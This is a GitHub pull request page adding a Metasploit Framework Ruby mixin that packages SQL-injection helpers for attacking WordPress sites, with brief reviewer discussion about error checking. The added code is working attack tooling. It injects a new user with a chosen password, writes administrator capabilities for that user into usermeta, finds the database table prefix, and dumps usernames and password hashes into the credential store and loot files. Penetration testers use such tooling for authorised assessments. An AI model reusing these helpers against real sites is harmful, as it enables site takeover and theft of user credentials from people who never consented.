Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add Msf::Exploit::Remote::HTTP::Wordpress::SQLi #19497

Merged
merged 22 commits into from
Oct 14, 2024
Merged
Changes from 6 commits
Commits
Show all changes
22 commits
Select commit Hold shift + click to select a range
14f1d6a
Add Msf::Exploit::Remote::HTTP::Wordpress::SQLi
Chocapikk Sep 24, 2024
3da638e
Using dynamic prefix in table
Chocapikk Sep 24, 2024
fa0d54e
Add Metasploit::Credential::Creation to use create_credential
Chocapikk Sep 24, 2024
a1b4106
Fix wordpress_sqli_get_users_credentials and rename wordpress_sqli_in…
Chocapikk Sep 24, 2024
2d6862c
Add recommendations
Chocapikk Sep 25, 2024
a5d9a06
Fix with datastore['RHOST']
Chocapikk Sep 25, 2024
0409d4e
Update lib/msf/core/exploit/remote/http/wordpress/sqli.rb
Chocapikk Sep 25, 2024
22443b5
Update lib/msf/core/exploit/remote/http/wordpress/sqli.rb
Chocapikk Sep 25, 2024
1e95cba
Randomize values
Chocapikk Sep 25, 2024
f52cd8b
Add coding: binary header
Chocapikk Sep 30, 2024
05c579f
Add report_host, report_service and report_vuln
Chocapikk Oct 3, 2024
d01e8d4
Update lib/msf/core/exploit/remote/http/wordpress/sqli.rb
Chocapikk Oct 8, 2024
8cbe572
Update lib/msf/core/exploit/remote/http/wordpress/sqli.rb
Chocapikk Oct 8, 2024
c152163
Update lib/msf/core/exploit/remote/http/wordpress/sqli.rb
Chocapikk Oct 8, 2024
31a66d5
Update lib/msf/core/exploit/remote/http/wordpress/sqli.rb
Chocapikk Oct 8, 2024
3987a76
Update lib/msf/core/exploit/remote/http/wordpress/sqli.rb
Chocapikk Oct 8, 2024
de5324e
Update lib/msf/core/exploit/remote/http/wordpress/sqli.rb
Chocapikk Oct 8, 2024
6c048df
Update lib/msf/core/exploit/remote/http/wordpress/sqli.rb
Chocapikk Oct 8, 2024
94145ea
Update lib/msf/core/exploit/remote/http/wordpress/sqli.rb
Chocapikk Oct 8, 2024
fb35f67
Update lib/msf/core/exploit/remote/http/wordpress/sqli.rb
Chocapikk Oct 8, 2024
c15f186
Update lib/msf/core/exploit/remote/http/wordpress/sqli.rb
Chocapikk Oct 8, 2024
c259ce0
Update lib/msf/core/exploit/remote/http/wordpress/sqli.rb
Chocapikk Oct 9, 2024
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
171 changes: 171 additions & 0 deletions lib/msf/core/exploit/remote/http/wordpress/sqli.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,171 @@
module Msf
# This module provides reusable SQLi (SQL Injection) helper functions
# for WordPress exploits in Metasploit Framework. These functions allow
# for actions such as creating new users, granting privileges, and
# dumping user credentials via SQL injection vulnerabilities in WordPress.
#
# Usage:
# Include this module in your exploit or auxiliary module and use
# the provided functions to simplify SQL injection logic.
module Exploit::Remote::HTTP::Wordpress::SQLi
include Msf::Exploit::SQLi

# Function to initialize the SQLi instance in the mixin.
#
# This function sets up the SQLi instance that is initialized in the exploit module.
# The SQLi instance is passed as a parameter to ensure it is accessible within the mixin
# and can be used for executing SQL injection queries.
#
# @param sqli [Object] The SQLi instance initialized in the exploit module.
# @return [void]
def wordpress_sqli_initialize(sqli)
@sqli = sqli
@prefix = wordpress_sqli_identify_table_prefix
end

# Inject an user into the WordPress database, creating or updating an entry.
#
# This method either creates a new user entry in the 'users' table or updates an existing one.
# If the user already exists, their password, nicename, email, and display name will be updated.
# Otherwise, a new user will be created with the provided credentials and default values.
# The password is hashed using MD5 for compatibility with older WordPress versions.
#
# @param username [String] The username for the new or updated user.
# @param password [String] The password for the new user (stored as an MD5 hash).
# @param email [String] The email for the new user.
# @return [void]
def wordpress_sqli_create_user(username, password, email)
query = <<-SQL
INSERT INTO #{@prefix}users (user_login, user_pass, user_nicename, user_email, user_registered, user_status, display_name)
SELECT '#{username}', MD5('#{password}'), '#{username}', '#{email}', user_registered, user_status, '#{username}'
FROM #{@prefix}users
WHERE NOT EXISTS (
SELECT 1 FROM #{@prefix}users WHERE user_login = '#{username}'
)
LIMIT 1
ON DUPLICATE KEY UPDATE
user_pass = MD5('#{password}'),
user_nicename = '#{username}',
user_email = '#{email}',
display_name = '#{username}'
SQL

@sqli.raw_run_sql(query.strip.gsub(/\s+/, ' '))
Chocapikk marked this conversation as resolved.
Show resolved Hide resolved

print_status("{WPSQLi} User '#{username}' created or updated successfully.")
Chocapikk marked this conversation as resolved.
Show resolved Hide resolved
end

# Grant admin privileges to the specified user by creating or updating the appropriate meta entry.
#
# This method either creates a new entry in the 'usermeta' table or updates an existing one
# to grant administrator capabilities to the specified user. If the entry for the user's
# capabilities already exists, it will be updated to assign administrator privileges.
# If the entry does not exist, a new one will be created.
#
# @param username [String] The username of the user to grant privileges to.
# @return [void]
def wordpress_sqli_grant_admin_privileges(username)
admin_query = <<-SQL
INSERT INTO #{@prefix}usermeta (user_id, meta_key, meta_value)
SELECT ID, '#{@prefix}capabilities', 'a:1:{s:13:"administrator";s:1:"1";}'
FROM #{@prefix}users
WHERE user_login = '#{username}'
ON DUPLICATE KEY UPDATE
meta_value = 'a:1:{s:13:"administrator";s:1:"1";}'
SQL

@sqli.raw_run_sql(admin_query.strip.gsub(/\s+/, ' '))
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Does there need to be a check here? From a quick glance at the raw_run_sql method I think we may want something here maybe.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Hey @cgranleese-r7, I considered adding a check, but my concern is it could slow down the process significantly, especially since we're working with blind SQL injection (time-based or boolean). We're already querying to find the table prefix, and adding another check for admin privileges would likely delay the execution even more. Plus, if the SQL query fails, I think there's nothing more we can do anyway.

That said, if the check is necessary, I can implement it. What do you think?

Copy link
Contributor

@cgranleese-r7 cgranleese-r7 Oct 3, 2024

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

My thoughts where just that when I was looking at the code I was wondering if there could be a scenario were:

@sqli.raw_run_sql(admin_query.strip.gsub(/\s+/, ' ')) 

fails for whatever reason and then prompts the user with:

print_status("{WPSQLi} Admin privileges granted or updated for user '#{username}'.")

I just thought that could be confusing from a user perspective is all and was worth calling out.

print_status("{WPSQLi} Admin privileges granted or updated for user '#{username}'.")
Chocapikk marked this conversation as resolved.
Show resolved Hide resolved
end

# Identify the table prefix for the WordPress installation
#
# @return [String] The detected table prefix
# @raise [Failure::UnexpectedReply] If the table prefix could not be detected
def wordpress_sqli_identify_table_prefix
default_prefix_check = "SELECT 0 FROM information_schema.tables WHERE table_name = 'wp_users'"
result = @sqli.run_sql(default_prefix_check)&.to_i

if result == 0
Chocapikk marked this conversation as resolved.
Show resolved Hide resolved
print_status("{WPSQLi} Retrieved default table prefix: 'wp_'")
Chocapikk marked this conversation as resolved.
Show resolved Hide resolved
return 'wp_'
end
print_status('{WPSQLi} Default prefix not found, attempting to detect custom table prefix...')
Chocapikk marked this conversation as resolved.
Show resolved Hide resolved
query = <<-SQL
SELECT LEFT(table_name, LENGTH(table_name) - LENGTH('users')) AS prefix
FROM information_schema.tables
WHERE table_schema = database()
AND table_name LIKE '%\\_users'
AND (SELECT COUNT(*)
FROM information_schema.columns c
WHERE c.table_schema = tables.table_schema
AND c.table_name = tables.table_name
AND c.column_name IN ('user_login', 'user_pass')
) = 2
LIMIT 1
SQL

prefix = @sqli.run_sql(query.strip.gsub(/\s+/, ' '))
unless prefix && !prefix.strip.empty?
print_error('{WPSQLi} Unable to detect the table prefix.')
return nil
end

print_status("{WPSQLi} Custom table prefix detected: '#{prefix}'")
Chocapikk marked this conversation as resolved.
Show resolved Hide resolved

prefix
end

# Get users' credentials from the wp_users table
#
# @param count [Integer] The number of users to retrieve (default: 10)
# @return [Array<Array>] Array of arrays containing user login and password hash
def wordpress_sqli_get_users_credentials(count = 10)
columns = ['user_login', 'user_pass']
data = @sqli.dump_table_fields("#{@prefix}users", columns, '', count)

table = Rex::Text::Table.new(
'Header' => "#{@prefix}users",
'Indent' => 4,
'Columns' => columns
)

loot_data = ''
data.each do |user|
table << user
loot_data << "Username: #{user[0]}, Password Hash: #{user[1]}\n"

create_credential({
workspace_id: myworkspace_id,
origin_type: :service,
module_fullname: fullname,
username: user[0],
private_type: :nonreplayable_hash,
jtr_format: Metasploit::Framework::Hashes.identify_hash(user[1]),
private_data: user[1],
service_name: 'WordPress',
address: datastore['RHOST'],
port: datastore['RPORT'],
protocol: 'tcp',
status: Metasploit::Model::Login::Status::UNTRIED
})
end

print_status('{WPSQLi} Dumped user data:')
Chocapikk marked this conversation as resolved.
Show resolved Hide resolved
print_line(table.to_s)

loot_path = store_loot(
'wordpress.users',
'text/plain',
datastore['RHOST'],
loot_data,
'wp_users.txt',
'WordPress Usernames and Password Hashes'
)

print_good("Loot saved to: #{loot_path}")

return data
end
end
end